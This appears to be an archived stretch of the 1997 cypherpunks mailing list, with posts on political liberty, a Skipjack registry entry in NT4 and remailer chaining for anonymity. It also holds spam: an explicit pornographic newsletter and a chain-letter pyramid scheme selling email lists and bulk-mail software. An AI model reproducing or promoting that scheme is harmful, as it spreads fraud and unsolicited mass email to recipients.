Here is a website devoted to a lovely dark skinned babe. One
and one only, but boy what a package.  Surf this website and
you'll  see one of the best  beavers out there and her tits!
Your gonna luv em!  Pour  yourself some scotch, grab a cigar
sit back and enjoy a little Brandi  tonight.  Nice bush too!
Hip Hip Hooray ................ http://www.latime.com/files/

YABBA DABBA DOO DOLLS
We never saw  Wilma and Betty look this man-hungry. Click on
the text links to  20 free pix  that will make your Bedrock!
You could  click with  'Guys  missed  brunettes mouth  point
blank',  or  'come on the train and  ride it gang bang'.  It
sheds a new lite on Fred Flintstone's ecstatic yell. Wil-ma!
Yabba Dabba Doo Dolls ......... http://www.sexhub.net/yabba/

YOUNG GUNS
'Cum saddle up with us!'  These guys have got a hot gay site
reminiscent of  the old west.  When you see  the young studs
that are  undressed to kill,  you'll want to ride 'til dawn.
Click on their  Young Studs  section and rope in a stallion.
Young Guns .................... http://newbourbon.com/young/

FREE STREAMING VIDEO
Please note that most of these feeds require a Netscape bro-
wser in order to successfully view them. Unfortunately Micr-
osoft's browser does not have all the features of Netscape's
yet.  However, many of the feeds use the RealPlayer and will
work in most browsers.  If you do not have Netscape and want
a free copy click here ... http://www.netscape.com/download/
Six free feeds ..................... http://207.136.152.129/

CHAT WITH OTHER READERS
This chat is growing fast, and already there are a number of
regulars  you will meet most days.  It's good to see Eureka!
readers interacting with each other and having a great time!
Just surf in and have fun! ...... http://137.39.63.229/chat/

THE BEST PHONE SEX
Live Hetero 1-on-1, 2-on-1, group, dateline...1-800-644-8779
FREE Hetero live 1-on-1 (international call)...011-678-77416
FREE Gay live 1-on-1 (international call)......011-678-75629 

AMATEUR SITE OF THE DAY
CAMILLE:  What do you expect when the  theme for her website
is Camille's Dirty Holes?  This nasty amateur has NO taboos,
with a large array of free pictures and AVIs, she definitely
LOVES to  get down and dirty.  And guys,  she loves  to give
blowjobs! .................. http://amateurindex.com/eureka/

TODAY'S FREE PIX
In the  new year we  will be creating a  much simpler system
for you to view your FREE pix. It will also offer the oppor-
tunity for you to view previously published pix you may have
missed.  In addition you'll  be able to select your favorite
categories  of photos  such as  lesbian,  asian,  teen(18+),
group sex,  and so on.  We think  you will  simply  love it!
Pic  1 ...................... http://137.39.63.229/?H5Epb57u
Pic  2 ........................... http://137.39.63.229/?096
Pic  3 ...................... http://137.39.63.229/?ljTxwg5.
Pic  4 ........................... http://137.39.63.229/?097
Pic  5 ...................... http://137.39.63.229/?iZlI_q5f
Pic  6 ........................... http://137.39.63.229/?098
Pic  7 ...................... http://137.39.63.229/?yIr1jxkG
Pic  8 ........................... http://137.39.63.229/?099
Pic  9 ...................... http://137.39.63.229/?OFstvnLL
Pic 10 ........................... http://137.39.63.229/?100

EUREKA! is now  available in FOUR languages.  So now you can
choose  from  one  or more  of  these  following  languages!
FRAN�AIS ..... http://eureka.abc-web.com/eureka/francais.htm
DEUTSCH ....... http://eureka.abc-web.com/eureka/deutsch.htm
ESPA�OL ....... http://eureka.abc-web.com/eureka/espanol.htm

PLEASE VISIT THIS FINE EUREKA! MEMBER SITE
THE ULTIMATE HARDCORE SITES
http://sexplosion.com/adverts.shtml
An incredible collection of over 30 sites featuring the
hottest free hardcore photos. The pix are easy to find and
the sites are all very accessible. You won't be
disappointed.

------------------------------------------------------------
If you would like to unsubscribe from the Eureka! Newsletter
simply select reply and send us a quick reply to this email.
------------------------------------------------------------





From kent at songbird.com  Fri Dec 26 09:51:39 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 27 Dec 1997 01:51:39 +0800
Subject: Censorial leftists (Was: Interesting article)
In-Reply-To: 
Message-ID: <19971226092752.62182@songbird.com>



On Thu, Dec 04, 1997 at 09:10:25PM -0500, frissell at panix.com wrote:
> At 10:50 PM 12/3/97 -0800, Kent Crispin wrote:
> 
> >Interesting.  I was absolutely dead center.
> 
> Why do I not find this surprising?
> 
> >Centrist 
> >
> >Centrists favor selective government intervention and emphasize 
> >practical solutions to current problems. They
> >tend to keep an open mind on new issues. Many centrists feel that 
> >government serves as a check on excessive
> >liberty. 
> 
> Then there are those who feel that liberty is a check on excessive 
> government.  I have yet to see many examples of people damaged by 
> too much political liberty.  Perhaps Kent can fill us in.

Depends on what you mean by "damage", and what you mean by "liberty", 
does it not?

Using the quasi-religious meaning for "political liberty" that you
imply, of course it is impossible for for there to be too much of it:
"political liberty" is just another term for "The Good", and there can
never be too much of The Good.

On the other hand, if by "political liberty" you mean "activity
without any politically powered constraint", then, arguably, *every*
action where a bad thing, done by a person, could have been prevented
through the exercise of political power is damage due to political
liberty.  That is, every common murder and robbery, every crime of any
sort, is damage due to political liberty.

If you are free to postulate a perfect state of liberty, I am free to 
postulate a perfect political system.  Neither exists in the real 
world. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From whgiii at invweb.net  Fri Dec 26 10:19:19 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Sat, 27 Dec 1997 02:19:19 +0800
Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
In-Reply-To: 
Message-ID: <199712261814.NAA19784@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

In , on
12/26/97 
   at 11:45 AM, Ray Arachelian  said:

>Now this is interesting! :)  (Either that or JA is smoking crack... - no
>idea on JA's reputation capital though...)

Well to be honest anyone who would trust the M$ crypto API get what they
deserve.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
Comment: COMMENT
Charset: cp850

iQA/AwUBNKPk9Lki0dXBotN0EQK0twCg2d11Co4YoNOQ9ciISsYcOE+aFZ4AoL5d
TGu4cnp80+dgObS/yVxcdfxm
=tpkE
-----END PGP SIGNATURE-----






From geeman at best.com  Fri Dec 26 10:25:01 1997
From: geeman at best.com (geeman at best.com)
Date: Sat, 27 Dec 1997 02:25:01 +0800
Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
Message-ID: <3.0.32.19691231160000.00700de0@shell15.ba.best.com>



It is most definitely an SSL 3 supported cipher but unless you have the
token or such,
then it is not going to be used for anything, and then only if you try to
connect 
to a Skipjack (ie. fortezza) site.  I doubt you have the code as it is
classified and available (at this time) only in hardware.  Don't sweat it,
it looks like it's just a hook or .....

What environment/flavor of stuff are you running?
I can help you with this if you want to contact me off the list.


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 4.5

mQENAzRQsnUAAAEIAMclvXulVps67+GFijTzNspUsWBYihovyvzlfzdHxkXYWiSg
FyZ4KUVLDvVwMIvFFQ3S48VtkT6i8+P8gwZFBNXyuOO+e8nv1o3b90Og6imiN2Eg
PTg3rJCKun2kP6AkUN+J1m7AuYjDML7caPzRM9kbws4JmSb+U5RSeUq5g8aA9mRr
oJwE3YKolM7uNAaiBwJuRRxltJG/P8XilY/J6NMhx2M1TpjXg0+9jasr7DMMFRFI
sVX9uumibFOWT9xUB5eW6rTLJOXf5H5vUnDykRErtbFsLp6cOZ++3qtzHzMYbbSW
xGPe2eL7tCF/y8eKh6l0U8UkWUTuQFuvyEhHg90ABRG0HGdyZWdnIDIwNDggPGdl
ZW1hbkBiZXN0LmNvbT4=
=F1s3
-----END PGP PUBLIC KEY BLOCK-----


At 11:45 AM 12/26/97 -0500, Ray Arachelian wrote:
>Now this is interesting! :)  (Either that or JA is smoking crack... - no
>idea on JA's reputation capital though...)
>
>=====================================Kaos=Keraunos=Kybernetos==============
>.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
>..\|/..|sunder at sundernet.com|you once again. I thought you were      |/\|/\
><--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
>../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
>.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
>======================= http://www.sundernet.com ==========================
>
>---------- Forwarded message ----------
>Date: Wed, 24 Dec 1997 01:29:07 -0600
>From: "J.A. Terranson" 
>To: 'NT Security Listserv' 
>Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?)
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I was rooting around in the registry tonight, (looking to repair my own 
>stupidity!),
>and guess what I saw?  SKIPJACK is installed, and ENABLED!  I have NOT
>(now would I EVER) installed it voluntarily, and Micro$loth only advertises 
>the
>"standard" ciphers (which I also found).
>
>Is anyone else aware of this?  Is it safe to delete the key (and code? 
>Hopefully
>this is DLL driven: I'm still looking!).
>
>Also, anyone know what it was put there for?  It's certainly not what I
would 
>
>consider an SSL issue!
>
>J.A. Terranson
>sysadmin at mfn.org
>A small fading light in a vast and obscure universe...
>
>PROTECT YOUR RIGHT TO PRIVACY - ENCRYPT!
>PGP/DSS: 0x12896749  FP: 63F2 1777 BC38 AC1E 3359 
>                                             0B0E C6C0 ED6B 1289 6749
>PGP/RSA: 0x9D85DF05 FP: 810C 25E9 7DD3 C157 
>                                             3081 A202 DDFD 4245
>If Government wants us to behave, it should set a better example!
>
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP for Personal Privacy 5.0
>Charset: noconv
>
>iQEVAwUBNKC5wqAMF5Wdhd8FAQFsDQgAkietW1awMFDE9ZY5d9B+Zc0cGuGxlPC+
>XzVy6+RleDngUecSAf8MbZZlTDDyN69liKG2Of0n+pZnlJSbKZWZiG0cRN592bbL
>xCF/cwgNdJi1/HTA/mDZ7fpRT1phCMi/b2U3XXyV3QG2fv+Z8M5o4LjykYT+u4Lt
>aEkfedFZKjkURO+artvGFnISfVxAMwpW0TfdbxE2Izw8iSjX2w+4aT0ub+Ck3OA4
>X3Bek8ZPhbmsf9lIfBSe38ZPMZGrk7VwTPaMo7JiU5MM58OmCMaodKlwyxfsptKf
>khLnbWJbwHrlbW2yXL7nh7Ttnxv1WJ6BHaaJhxX/5EWSU4xAc/FjaQ==
>=jsvV
>-----END PGP SIGNATURE-----
>
>Attachment Converted: "F:\GDW\Mail\[NTSEC] SKIPJACK  NT4.0 (SP3)"
>






From nobody at REPLAY.COM  Fri Dec 26 10:33:28 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 27 Dec 1997 02:33:28 +0800
Subject: actual, on-topic post (tm)
Message-ID: <199712261804.TAA06045@basement.replay.com>



jkthomson  writes:

>does a large number of 'bounces' between randomly selected remailers
>increase security/untraceability?  what if you made each message go through
>ALL remailers, or nearly all?

Going through all the remailers is overkill. The rationale for multiple
remailers (four are usually recommended) is that it's harder to trace a
message through the remailer network.

Say you want to send a message to person X. So you send it to remailer A.
Now there's a chain linking you to that remailer (probably your ISP's smtp
log), and your friendly local jackbooted thug could say, "Aha! You sent a
message to that remailer, and then person X got an anonymous message! It
must have been you!" They might not be able to make it stick, but they'd
certainly be able to take you downtown for a quick wooden high colonic.

Now, suppose instead that you'd sent it through a chain of four remailers,
chosen in some reasonably random fashion. So the thug has a record of you
sending something to remailer A, but the message came from Remailer D. He
has to construct a chain linking you to Remailer D, via remailer B and C.
If you PGP-encrypt the messages in layers, as with Premail, then no
remailer other than the last in the chain has the final destination, and no
remailer other than the first knows where the message originally came from.

Hope this helps.







From shamrock at cypherpunks.to  Fri Dec 26 11:30:29 1997
From: shamrock at cypherpunks.to (Lucky Green)
Date: Sat, 27 Dec 1997 03:30:29 +0800
Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
In-Reply-To: 
Message-ID: 



Skipjack can't be installed, since there is no generally available
software implementation of the cipher. I would guess the person has
some software installed that supports Fortezza cards, that would explain
the registry entry.

On Fri, 26 Dec 1997, Ray Arachelian wrote:

> Now this is interesting! :)  (Either that or JA is smoking crack... - no
> idea on JA's reputation capital though...)
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> .+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
> ..\|/..|sunder at sundernet.com|you once again. I thought you were      |/\|/\
> <--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
> ../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
> .+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
> ======================= http://www.sundernet.com ==========================
> 
> ---------- Forwarded message ----------
> Date: Wed, 24 Dec 1997 01:29:07 -0600
> From: "J.A. Terranson" 
> To: 'NT Security Listserv' 
> Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?)
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> I was rooting around in the registry tonight, (looking to repair my own 
> stupidity!),
> and guess what I saw?  SKIPJACK is installed, and ENABLED!  I have NOT
> (now would I EVER) installed it voluntarily, and Micro$loth only advertises 
> the
> "standard" ciphers (which I also found).
> 
> Is anyone else aware of this?  Is it safe to delete the key (and code? 
> Hopefully
> this is DLL driven: I'm still looking!).
> 
> Also, anyone know what it was put there for?  It's certainly not what I would 
> 
> consider an SSL issue!
> 
> J.A. Terranson
> sysadmin at mfn.org
> A small fading light in a vast and obscure universe...
> 
> PROTECT YOUR RIGHT TO PRIVACY - ENCRYPT!
> PGP/DSS: 0x12896749  FP: 63F2 1777 BC38 AC1E 3359 
>                                              0B0E C6C0 ED6B 1289 6749
> PGP/RSA: 0x9D85DF05 FP: 810C 25E9 7DD3 C157 
>                                              3081 A202 DDFD 4245
> If Government wants us to behave, it should set a better example!
> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: PGP for Personal Privacy 5.0
> Charset: noconv
> 
> iQEVAwUBNKC5wqAMF5Wdhd8FAQFsDQgAkietW1awMFDE9ZY5d9B+Zc0cGuGxlPC+
> XzVy6+RleDngUecSAf8MbZZlTDDyN69liKG2Of0n+pZnlJSbKZWZiG0cRN592bbL
> xCF/cwgNdJi1/HTA/mDZ7fpRT1phCMi/b2U3XXyV3QG2fv+Z8M5o4LjykYT+u4Lt
> aEkfedFZKjkURO+artvGFnISfVxAMwpW0TfdbxE2Izw8iSjX2w+4aT0ub+Ck3OA4
> X3Bek8ZPhbmsf9lIfBSe38ZPMZGrk7VwTPaMo7JiU5MM58OmCMaodKlwyxfsptKf
> khLnbWJbwHrlbW2yXL7nh7Ttnxv1WJ6BHaaJhxX/5EWSU4xAc/FjaQ==
> =jsvV
> -----END PGP SIGNATURE-----
> 


-- Lucky Green  PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"






From greetings at cards.com  Sat Dec 27 03:35:24 1997
From: greetings at cards.com (greetings at cards.com)
Date: Sat, 27 Dec 1997 03:35:24 -0800 (PST)
Subject: Happy Holiday Wishes :)
Message-ID: <59841257562287.RDD88524@atten.com>


Santa has arrived!!!


 FREE! 100,000 e-mail addresses 
 			
			AND

FREE bulk e-mail software, that sends THOUSANDS of e-mail messages per hour!  

Sound too good to be true?  It's not :)  Just send your name and e-mail 
address to the address below and we will e-mail you the addresses instantly and 
give you our private web address to download your FREE, 100% fully operational 
version of one of the fastest e-mail software programs on the market!

You may say that there must be a catch, well here it is.  It is in our BEST INTEREST
to send you these addresses because we would like you to participate in one of the most
profitable internet programs ever created!!!  Many of us have earned large sums
of money with the program below.  Now you will have the resources to participate as well.  
This e-mail sharing program is BRAND NEW as of Christmas this year.  So respond 
now before the opportunity is gone!

TO GET IMMEDIATE DELIVERY OF YOUR FREE ADDRESSES AND SOFTWARE
(then read below to see why we WANT to send you this free offer immediately!!!)

Mail your e-mail address to:

Wolverine Marketing
PO Box 3008
Hoboken, NJ 07030 USA

We simply request that you include a $5 to cover administrative costs, cash only please :)

Read below and see why we want to send you this free offer immediately!!!
Then, do the calculations. 
If you get (worst case scenerio) 1% response, you will SUCCEED BIG!!!
This program is SIMPLE, EXCITING AND FUN!!!
 

We suggest that you begin immediatly so when your addresses arrive
you can send right away!

OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC MARKETING PROGRAM
   
   Basically, this is what we do:  We sell thousands of people a product for 
   $5.00 that costs us next to nothing to produce and mail.  As with all
   multi-level businesses, we build our business by recruiting new partners
   and selling our products.  Every state in the U.S. allows you to recruit
   new multi- level business online (with your computer).
   
     
                FOLLOW THE INSTRUCTIONS EXACTLY!
   Let's face it, the profits are worth it!  THEY'RE TREMENDOUS!!!
   So go for it.  Remember the 4 points and we'll see YOU at the top!
   
   
           ******* I  N  S  T  R  U  C  T  I  O  N  S *******
   
   THIS IS WHAT YOU MUST DO:
   
   1.  Order all 4 reports listed and numbered from the list below.
       For each report send $5.00 CASH AND YOUR RETURN E-MAIL ADDRESS.  When you order, 
       make sure you request each specific report.  You will need all four reports, 
       because you will be copying and e-mailing them.
   
   2.  IMPORTANT--DO NOT alter the names, or their sequence other than
       instructed in this program! Or you will not profit the way you
       should.
   
       Replace the name and address under REPORT #1 with yours, moving
       the one that was there down to REPORT #2.  Move the name and
       address under REPORT #2 to REPORT #3.  Move the name and address
       under REPORT #3 to REPORT #4.  The name and address that was under
       REPORT #4 is dropped off the list and is NO DOUBT on the way to
       the bank.
   
       When doing this, please make certain you copy everyone's name and
       address ACCURATELY!!!  Also, DO NOT move the Report/Product
       positions!
   
   3.  Take this entire program text, including the corrected names list,
       and save it on your computer.
   
   4.  Now send out your e-mail addresses with this EXACT message 
       (including the free address and software offer!). 
       This will ABSOLUTELY give you your best response. 
       This program has worked without the free offer, but now that you can 
       offer FREE e-mail addresses and software IT WILL EXPLODE! Anyone can 
       now succeed!  Another avenue to generate inquiries is an advertising campaign 
       on the WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive, 
       and there are HUNDREDS of FREE places to advertise.

           START YOUR AD CAMPAIGN AS SOON AS YOU CAN.
   
       ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
   
   
  REQUIRED REPORTS
   
   ***Order each REPORT by NUMBER and NAME***
   
  ALWAYS SEND  $5 CASH (Concealed) FOR EACH ORDER REQUESTING 
  THE SPECIFIC REPORT BY NAME AND NUMBER. ALWAYS SEND FIRST 
  CLASS OR PRIORITY MAIL. 
   
  ____________________________________________________
   REPORT #1 
   "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
   
   ORDER REPORT #1 FROM:
    Wolverine Communications
     PO Box 3008
     Hoboken, NJ 07030
    ________________________________________
   REPORT #2
   "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
   
   ORDER REPORT #2 FROM:
     A & J Marketing
     P. O. Box 2834
     Bay City, MI 48707         
  
  ___________________________________________________
   REPORT #3 
   "SOURCES FOR THE BEST MAILING LISTS"
   
   ORDER REPORT #3 FROM:
   Twin Marketing
   P.O. BOX 673
   Harbor City, CA 90710-0673
  
   
  ____________________________________________________
   REPORT #4 
   "EVALUATING MULTI-LEVEL SALES PLANS"
  
  ORDER REPORT #4 FROM:
    B & G Marketing
   101 E. Main St.
   Walnut Bottom, PA 17266
   
  ____________________________________________________
   
   
   HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$
   
   Worse Case Scenario!
  Let's say you decide to start small just to see how it goes.  Assume your goal is to
  get 10 people to participate on your first level.   
  
  Follow this example for the STAGGERING results below:
   
   1st level --  your 10 members with $5  ($5 x 10)                      $50
   2nd level --10 members from those 10 ($5 x 100)                  $500
   3rd level -- 10 members from those 100 ($5 x 1,000)           $5,000
   4th level -- 10 members from those 1,000 ($5 x 10,000)     $50,000
                                   THIS TOTALS-----------                          $55,550
   
  Remember friends, this is assuming that the people who participate
  only recruit 10 people each.  Dare to think for a moment what would
  happen if everyone got 20 people to participate!  Many who do this
  over the Internet see 100's of recruits for Report #1!  THINK ABOUT IT!
   
  By the way, your cost to participate in this is practically nothing. You obviously   
  already have an Internet connection and email is FREE!!! Now with your 100,000 e-mail addresses
  and software for FREE, you will absolutely succeed!
   REMEMBER:  Approx. 50,000 new people get online monthly!
   
                       ORDER YOUR REPORTS NOW!!!
     
   
                       *******TIPS FOR SUCCESS*******
   
   TREAT THIS AS YOUR BUSINESS!  Send for the four reports IMMEDIATELY,
   so you will have them when the orders start coming in because:
   When you receive a $5 order, you MUST send out the requested product/
   report to comply with the U.S. Postal & Lottery Laws, Title 18,
   Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. Code,
   also Code of Federal Regs. vol. 16, Sections 255 and 436, which
   state that "a product or service must be exchanged for money received."
   
  � ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.
   
  � BE PATIENT AND PERSISTENT WITH THIS PROGRAM.  
  If you follow the instructions exactly the results WILL BE SUCCESS!
   
  � ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!
   
   
                *******YOUR SUCCESS GUIDELINE*******
   
  The check point that guarantees your success is simply this:
  
  You MUST receive 10 to 20 orders for REPORT #1!  THIS IS A MUST!  
  If you don't within two weeks, advertise more and send out more programs
  until you do.  
  
  2 weeks later  you should receive at least 100 orders for REPORT #2.  
  If you don't, advertise more and send out more programs until you do.  
  Once you have received 100, or more orders for REPORT #2, YOU CAN 
  RELAX, because you will be on your way to the BANK!  -OR-  You can 
  DOUBLE your efforts!
   
   REMEMBER:  Every time your name is moved down on the list you are in
   front of a DIFFERENT report, so you can KEEP TRACK of your PROGRESS
   by what report people are ordering from you. IT'S THAT EASY!!!
   
   NOTE:  IF YOU NEED HELP with starting a business, registering a business
   name, how income tax is handled, etc., contact your local office of the Small 
  Business Administration (a Federal agency) for free help and answers to questions.  
  Also, the Internal Revenue Service offers free help via telephone and free seminars 
  about business taxes.






From eureka-help at eureka.abc-web.com  Fri Dec 26 11:46:38 1997
From: eureka-help at eureka.abc-web.com (eureka-help at eureka.abc-web.com)
Date: Sat, 27 Dec 1997 03:46:38 +0800
Subject: No Subject
Message-ID: <883163886.27374.ezmlm@eureka.abc-web.com>



[ENGLISH, FRAN�AIS, DEUTSCH & ESPA�OL]

ENGLISH
=======
This is� your reply from Eureka!� You must now hit REPLY on
your email program to send this message back to us, and let
us know we have your correct address. Please note that this
is the ONLY way to� ensure your� subscription proceeds.� If
you send an email to us ANY other way,� it will NOT get you
subscribed to the mailing list.

Please do this now to ensure you do not miss out on all the
bonus FREE hardcore video channels� we are offering all new
subscribers as well as the 100s of FREE XXX photos that are
waiting for you right now!

IMPORTANT
For information on our 100% anti-spamming policy,� and what
to do if you� did not ask to receive this email,� or do not
wish to� proceed with your free subscription,� please click
here .......... http://eureka.abc-web.com/eureka/nospam.htm
This URL also includes full information on how to block ac-
cess to most adult sites from children under the age of 18.

FRAN�AIS
========
Merci de votre  int�r�t dans  l'Eureka! bulletin.  R�PONDEZ
s'il vous pla�t  maintenant � cet  email en  choisissant le
bouton  de r�ponse  dans  votre  programme  d'email  et  en
l'envoyant  de nouveau  � nous.  Ceci  confirmera  que nous
avons votre  email address correct.  Il n'assure  �galement
personne autrement peut vous  joindre � la liste si vous ne
la souhaitez pas. 

Veuillez  noter  que  nous  n'envoyons  pas  les emails non
sollicit�s.  Nous avons une pleine page sur notre anti-Spam
politique ici . http://eureka.abc-web.com/eureka/nospam.htm
- � cette page vous pouvez  �galement  trouver des liens au
logiciel qui interdira  tous les sites  d'adulte de dessous
des enfants d'�ge.

DEUTSCH
=======
Danke f�r Ihr  Interesse  am Eureka!  Rundschreiben.  Bitte
ANTWORTEN  Sie  jetzt  auf  dieses  email,  indem  Sie  die
Antworttaste  in  Ihrem  emailprogramm  ausw�hlen  und  sie
zur�ck  zu  uns  senden.  Dieses  best�tigt,  da�  wir  Ihr
korrektes email address haben.  Es stellt auch niemand kann
Sie sonst  zur Liste verbinden sicher,  wenn Sie  sie nicht
w�nschen. 

Beachten  Sie  bitte,   da�  wir  nicht  freiwillige  email
aussenden. Wir haben eine volle Seite auf unserer Anti-Spam
Politik hier .. http://eureka.abc-web.com/eureka/nospam.htm
- auf  dieser  Seite k�nnen  Sie Links  zur  Software  auch
finden,  die   alle  Erwachsensites   von   unterhalb   der
Alterskinder verbietet.

ESPA�OL
=======
Gracias por su  inter�s en el Eureka!  bolet�n de noticias.
Ahora  CONTESTE  por  favor a  este email  seleccionando el
bot�n  de  la  contestaci�n  en  su  programa  del  email y
envi�ndolo de nuevo a nosotros. Esto confirmar� que tenemos
su email address correcto. Tambi�n no asegura a nadie puede
ensamblarle a la lista si usted no la desea. 

Observe  por favor  que no  enviamos email  no solicitados.
Tenemos  una   paginaci�n  llena  en   nuestra  contra-Spam
pol�tica aqu� . http://eureka.abc-web.com/eureka/nospam.htm
En esta paginaci�n usted puede tambi�n encontrar conexiones
al  software  l�gica que  prohibir�  todos  los  sitios del
adulto de ni�os de la edad inferior.






From eureka-help at eureka.abc-web.com  Fri Dec 26 12:08:50 1997
From: eureka-help at eureka.abc-web.com (eureka-help at eureka.abc-web.com)
Date: Sat, 27 Dec 1997 04:08:50 +0800
Subject: No Subject
Message-ID: <883165294.8183.ezmlm@eureka.abc-web.com>



[ENGLISH, FRAN�AIS, DEUTSCH & ESPA�OL]

ENGLISH
=======
This is� your reply from Eureka!� You must now hit REPLY on
your email program to send this message back to us, and let
us know we have your correct address. Please note that this
is the ONLY way to� ensure your� subscription proceeds.� If
you send an email to us ANY other way,� it will NOT get you
subscribed to the mailing list.

Please do this now to ensure you do not miss out on all the
bonus FREE hardcore video channels� we are offering all new
subscribers as well as the 100s of FREE XXX photos that are
waiting for you right now!

IMPORTANT
For information on our 100% anti-spamming policy,� and what
to do if you� did not ask to receive this email,� or do not
wish to� proceed with your free subscription,� please click
here .......... http://eureka.abc-web.com/eureka/nospam.htm
This URL also includes full information on how to block ac-
cess to most adult sites from children under the age of 18.

FRAN�AIS
========
Merci de votre  int�r�t dans  l'Eureka! bulletin.  R�PONDEZ
s'il vous pla�t  maintenant � cet  email en  choisissant le
bouton  de r�ponse  dans  votre  programme  d'email  et  en
l'envoyant  de nouveau  � nous.  Ceci  confirmera  que nous
avons votre  email address correct.  Il n'assure  �galement
personne autrement peut vous  joindre � la liste si vous ne
la souhaitez pas. 

Veuillez  noter  que  nous  n'envoyons  pas  les emails non
sollicit�s.  Nous avons une pleine page sur notre anti-Spam
politique ici . http://eureka.abc-web.com/eureka/nospam.htm
- � cette page vous pouvez  �galement  trouver des liens au
logiciel qui interdira  tous les sites  d'adulte de dessous
des enfants d'�ge.

DEUTSCH
=======
Danke f�r Ihr  Interesse  am Eureka!  Rundschreiben.  Bitte
ANTWORTEN  Sie  jetzt  auf  dieses  email,  indem  Sie  die
Antworttaste  in  Ihrem  emailprogramm  ausw�hlen  und  sie
zur�ck  zu  uns  senden.  Dieses  best�tigt,  da�  wir  Ihr
korrektes email address haben.  Es stellt auch niemand kann
Sie sonst  zur Liste verbinden sicher,  wenn Sie  sie nicht
w�nschen. 

Beachten  Sie  bitte,   da�  wir  nicht  freiwillige  email
aussenden. Wir haben eine volle Seite auf unserer Anti-Spam
Politik hier .. http://eureka.abc-web.com/eureka/nospam.htm
- auf  dieser  Seite k�nnen  Sie Links  zur  Software  auch
finden,  die   alle  Erwachsensites   von   unterhalb   der
Alterskinder verbietet.

ESPA�OL
=======
Gracias por su  inter�s en el Eureka!  bolet�n de noticias.
Ahora  CONTESTE  por  favor a  este email  seleccionando el
bot�n  de  la  contestaci�n  en  su  programa  del  email y
envi�ndolo de nuevo a nosotros. Esto confirmar� que tenemos
su email address correcto. Tambi�n no asegura a nadie puede
ensamblarle a la lista si usted no la desea. 

Observe  por favor  que no  enviamos email  no solicitados.
Tenemos  una   paginaci�n  llena  en   nuestra  contra-Spam
pol�tica aqu� . http://eureka.abc-web.com/eureka/nospam.htm
En esta paginaci�n usted puede tambi�n encontrar conexiones
al  software  l�gica que  prohibir�  todos  los  sitios del
adulto de ni�os de la edad inferior.






From lord_buttmonkey at juno.com  Fri Dec 26 12:32:10 1997
From: lord_buttmonkey at juno.com (Matthew L Bennett)
Date: Sat, 27 Dec 1997 04:32:10 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: <19971226.145900.12766.0.Lord_Buttmonkey@juno.com>




On Thu, 25 Dec 97 01:02:28 EST dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
writes:
>lord_buttmonkey at juno.com (Matthew L Bennett) writes:
>>
>> Umm, no, freedom doesn't work like that.  If you open a *private*
>> establishment, you have the right, according to the constitution, to 
>deny
>> *anyone* the right to enter or eat in your restraunt.
>
>Tell that to Denney's restaurants. (No, not in the United Fascist
>States of Amerika you can't.)

Hmmm...

Apologies.  In *theory* you have those rights, on *paper*, you have those
rights, but in *practice*, you're correct, the Government has power that
it gleefully abuses, forcing others to comply w/ political correctness.

I'd like some more info on this Denny's thing.






From justface at aol.com  Fri Dec 26 13:39:28 1997
From: justface at aol.com (martunia)
Date: Sat, 27 Dec 1997 05:39:28 +0800
Subject: rduyh
Message-ID: <34A41F85.699E@aol.com>



yu5rtuy






From stephen at iu.net  Fri Dec 26 14:16:26 1997
From: stephen at iu.net (Stephen Cobb, CISSP)
Date: Sat, 27 Dec 1997 06:16:26 +0800
Subject: Dr. Dobbs Crypto CD
In-Reply-To: <199712171325.IAA08971@bastion.solipsys.com>
Message-ID: <3.0.3.32.19971226170604.0078b544@iu.net>



At 10:11 AM 12/17/97 -0500, jehorton at erols.com wrote:
>I just got off the phone with DDJ - according to the sales person "the
>editors are preparing a letter to explain the delay". 
>
>Seems kind of strange that it is taking so long.  Of note - The sales
>person indicated that there has been no mention of pulling the product.
>
>Regards,
>John Horton

John

Your inference was correct...on 12/23/97 I received a flyer in the mail
